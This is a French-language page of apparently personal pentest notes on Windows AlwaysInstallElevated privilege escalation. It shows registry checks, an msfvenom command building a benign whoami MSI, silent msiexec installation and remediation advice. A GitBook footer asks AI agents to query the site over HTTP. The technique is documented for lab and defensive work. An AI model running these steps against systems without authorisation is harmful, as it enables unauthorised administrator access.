> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md).

# Élévation de privilèges Windows AlwaysInstallElevated

`AlwaysInstallElevated` est une stratégie Windows dangereuse qui permet à un utilisateur non administrateur d’installer des paquets MSI avec des privilèges élevés lorsque les clés de registre de l’utilisateur actuel et de la machine locale sont toutes deux activées.

## Détection

La découverte est exploitable lorsque les deux valeurs renvoient `1`:

```cmd
reg query HKCU\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\Software\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
```

<figure><img src="/files/44a8f68008ae7c223699e95ed34ee859c70bf4d0" alt="AlwaysInstallElevated registry keys enabled"><figcaption></figcaption></figure>

## Validation en laboratoire

Dans un laboratoire contrôlé, créez un MSI qui effectue une action de validation clairement visible, comme l’écriture de l’identité élevée dans un fichier temporaire. Remplacez l’action par la charge utile autorisée uniquement après avoir confirmé le périmètre et la configuration du listener.

```bash
msfvenom -p windows/exec CMD='cmd /c whoami > C:\Windows\Temp\msi-check.txt' -f msi -o check.msi
```

<figure><img src="/files/8ec8e09ce203068db628be2e4ef0c52da8911603" alt="MSI payload transferred to the Windows target"><figcaption></figcaption></figure>

## Exécuter le programme d’installation

Installez le MSI en mode silencieux :

```cmd
msiexec /quiet /qn /i check.msi
type C:\Windows\Temp\msi-check.txt
```

<figure><img src="/files/41264b3a72379c21509063e46e9da919b2dc1e18" alt="Elevated shell received after MSI execution"><figcaption></figcaption></figure>

## Points clés

* Les deux clés de registre doivent être activées.
* Le MSI s’exécute avec des privilèges élevés.
* Si une seule clé est activée, conservez-le comme constat de durcissement mais ne le considérez pas comme une élévation de privilèges fonctionnelle.
* Corrigez le problème en désactivant la stratégie et en surveillant les installations MSI anormales.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/windows-vulnerabilities/local-privilege-escalation-and-credentials/alwaysinstallelevated-windows-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
